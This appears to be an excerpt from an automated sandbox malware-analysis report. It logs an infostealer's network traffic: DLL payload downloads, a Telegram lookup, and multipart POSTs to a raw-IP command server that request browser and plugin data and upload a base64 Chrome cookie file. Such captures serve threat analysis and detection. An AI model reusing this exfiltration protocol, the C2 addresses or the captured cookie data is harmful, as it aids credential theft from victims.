00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:08 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:09 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:11 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:12 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /hwlflcqshvwp HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 91.214.78.145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.233.112.44Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 193.233.112.44Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 31 44 35 45 33 41 38 35 32 44 31 38 33 35 36 37 39 37 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 67 61 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="hwid"181D5E3A852D183567973------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="build"game------GIEHIDHJDBFIIECAKECB--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJDHost: 193.233.112.44Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="message"browsers------GDHIIIIEHCFIECAKFHJD--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAEHost: 193.233.112.44Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="message"plugins------EBAKKFHJDBKKEBFHDAAE--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 193.233.112.44Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 2d 2d 0d 0a Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="message"fplugins------HDBKFHIJKJKECAAAECAE--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 193.233.112.44Content-Length: 6887Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/sqlite3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 193.233.112.44Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 